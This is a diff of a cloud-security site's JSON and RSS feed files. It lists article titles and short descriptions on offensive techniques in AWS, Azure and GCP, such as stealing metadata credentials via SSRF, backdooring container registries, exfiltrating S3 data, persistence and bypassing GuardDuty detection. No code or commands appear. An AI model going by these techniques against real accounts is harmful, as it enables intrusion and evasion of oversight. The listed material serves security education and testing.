"https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_modified": "2024-05-29T03:08:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_modified": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without authentication.", "image": "https://hackingthe.cloud/assets/images/social/azure/anonymous-blob-access.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "url": "https://hackingthe.cloud/azure/soft-deleted-blobs/", "title": "Soft Deleted Blobs", "content_html": "Recovering and accessing files in private Storage Accounts that have been deleted.", "image": "https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png", "date_modified": "2024-03-07T02:17:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/", "url": "https://hackingthe.cloud/", "title": "Hacking The Cloud", "content_html": "The encyclopedia for offensive security in the cloud", "image": "https://hackingthe.cloud/assets/images/social/index.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "url": "https://hackingthe.cloud/aws/capture_the_flag/cicdont/", "title": "CI/CDon't", "content_html": "An AWS/GitLab CICD themed CTF.", "image": "https://hackingthe.cloud/assets/images/social/aws/capture_the_flag/cicdont.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "url": "https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/", "title": "Steal EC2 Metadata Credentials via SSRF", "content_html": "Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/", "title": "Lambda Persistence", "content_html": "How to establish persistence on a Lambda function after getting remote code execution.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/lambda_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/", "title": "User Data Script Persistence", "content_html": "Maintain access to an EC2 instance and it's IAM role via user data scripts.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/user_data_script_persistence.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "url": "https://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/", "title": "Terraform Enterprise: Attack the Metadata Service", "content_html": "Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Service", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_enterprise_metadata_service.png", "date_modified": "2024-02-19T21:07:18+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "url": "https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/", "title": "Role Chain Juggling", "content_html": "Keep your access by chaining assume-role calls.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png", "date_modified": "2024-02-09T02:49:21+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/deprecated/whoami/", "url": "https://hackingthe.cloud/aws/deprecated/whoami/", "title": "[Deprecated] Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png", "date_modified": "2024-02-02T00:17:34+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_modified": "2024-01-23T00:25:07+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_modified": "2024-01-21T17:34:08+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_modified": "2024-01-21T17:27:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "url": "https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/", "title": "Modify GuardDuty Configuration", "content_html": "Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png", "date_modified": "2024-01-21T17:20:20+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "url": "https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/", "title": "AWS API Call Hijacking via ACM-PCA", "content_html": "By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png", "date_modified": "2024-01-13T20:48:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "url": "https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/", "title": "Get Account ID from AWS Access Keys", "content_html": "Techniques to enumerate the account ID associated with an AWS access key.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png", "date_modified": "2024-01-13T01:04:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_modified": "2024-01-11T08:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_modified": "2024-01-08T15:03:16+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_modified": "2024-01-06T22:14:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_modified": "2024-01-06T20:43:40+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "url": "https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/", "title": "IAM unique identifiers", "content_html": "Chart of the IAM unique ID prefixes.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png", "date_modified": "2024-01-04T04:45:39+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_modified": "2023-12-08T02:37:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/whoami/", "url": "https://hackingthe.cloud/aws/enumeration/whoami/", "title": "Whoami - Get Principal Name From Keys", "content_html": "During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png", "date_modified": "2023-11-05T18:14:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "url": "https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/", "title": "Bypass Credential Exfiltration Detection", "content_html": "When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png", "date_modified": "2023-10-18T00:06:37+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_modified": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_modified": "2023-07-15T15:12:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_modified": "2023-02-17T04:07:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_modified": "2023-01-26T01:07:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_modified": "2023-01-09T03:01:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_modified": "2022-12-28T18:47:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}]}
\ No newline at end of file
diff --git a/feed_rss_created.xml b/feed_rss_created.xml
index a14b310bb..c947c35ce 100644
--- a/feed_rss_created.xml
+++ b/feed_rss_created.xml
@@ -1 +1 @@
-<?xml version="1.0" encoding="UTF-8" ?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel><title>Hacking The Cloud</title><description>The encyclopedia for offensive security in the cloud.</description><link>https://hackingthe.cloud/</link><atom:link href="https://hackingthe.cloud/feed_rss_created.xml" rel="self" type="application/rss+xml" /><docs>https://github.com/Hacking-the-Cloud/hackingthe.cloud</docs><language>en</language> <pubDate>Wed, 27 Nov 2024 18:55:24 -0000</pubDate> <lastBuildDate>Wed, 27 Nov 2024 18:55:24 -0000</lastBuildDate> <ttl>1440</ttl> <generator>MkDocs RSS plugin - v1.16.0</generator> <item> <title>AWS CLI Tips and Tricks</title> <description>A collection of tips and tricks for using the AWS CLI.</description><link>https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</link> <pubDate>Mon, 04 Nov 2024 03:15:10 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png" type="image/png" length="204919" /> </item> <item> <title>Run Command Abuse</title> <description>Utilise Azure RunCommands for execution and lateral movement.</description><link>https://hackingthe.cloud/azure/run-command-abuse/</link> <pubDate>Sat, 05 Oct 2024 05:04:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/run-command-abuse/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png" type="image/png" length="202340" /> </item> <item> <title>Exploiting Misconfigured GitLab OIDC AWS IAM Roles</title> <description>Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</link> <pubDate>Sun, 01 Sep 2024 22:46:15 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png" type="image/png" length="230598" /> </item> <item> <title>CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios</title> <description>An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</link> <pubDate>Wed, 31 Jul 2024 20:37:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png" type="image/png" length="232262" /> </item> <item> <title>Prevent Expensive AWS API Actions with SCPs</title> <description>Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.</description><link>https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</link> <pubDate>Tue, 30 Jul 2024 00:15:57 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png" type="image/png" length="218462" /> </item> <item> <title>Enumerate Org/Folder/Project Permissions + Individual Resource Permissions</title> <description>Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</link> <pubDate>Sun, 14 Jul 2024 21:08:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png" type="image/png" length="231384" /> </item> <item> <title>Discover secrets in public AMIs</title> <description>How to find public AMIs and get stored secrets.</description><link>https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</link> <pubDate>Tue, 28 May 2024 16:27:11 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png" type="image/png" length="205373" /> </item> <item> <title>Enumerate Root User Email Address from the AWS Console</title> <description>Identify if an email address belongs to the root user of an AWS account.</description><link>https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</link> <pubDate>Tue, 21 May 2024 20:10:23 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png" type="image/png" length="222164" /> </item> <item> <title>Abusing Misconfigured Role Trust Policies with a Wildcard Principal</title> <description>How to take advantage of misconfigured role trust policies that have wildcard principals.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</link> <pubDate>Mon, 29 Jan 2024 03:39:38 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_created.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png" type="image/png" length="225176" /> </item> 